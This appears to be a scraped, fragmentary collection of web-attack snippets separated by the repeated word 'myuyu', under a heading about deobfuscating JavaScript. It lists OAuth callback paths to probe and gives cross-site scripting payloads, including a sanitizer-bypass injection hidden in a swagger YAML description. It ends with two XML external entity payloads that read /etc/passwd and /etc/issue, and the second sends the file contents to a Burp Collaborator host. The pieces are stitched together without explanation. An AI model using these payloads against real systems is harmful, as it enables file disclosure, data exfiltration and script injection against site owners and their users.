myuyu

Deobfuscating / Unminifying Obfuscated Web App / JavaScript Code

Table of Contents

• PoC
• Tools
  • Unsorted
• wakaru

myuyu

/plaid/mobile/oauth_callback
/callback
/oauth2/idpresponse
/signin-google
/twitter_oauth_signin
/soundcloud_oauth_signin
/23andme_oauth_signin
/500px_oauth_signin
/agave_oauth_signin
/amazon_oauth_signin

myuyu

myuyu

</script><script>alert(1)</script>

myuyu

a
b
c
d
e
f
g
h
i
j

myuyu

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
  /accounts:
    get:
      responses:
        '200':

myuyu

<?xml version="1.0" encoding="UTF-8"?>
<!--
    For cXML license agreement information, please see
    http://www.cxml.org/home/license.asp

    $Id: //ariba/specs/cXML/Common.mod#16 $
-->

<!--
    A few character entities the XML recommendation says should be defined

myuyu

top.eval('alert(document.domain)');

myuyu

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

myuyu

<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://rjee7p9jxu03f68hrtn6c92ksbycm1.burpcollaborator.net?%file;'>">
%all;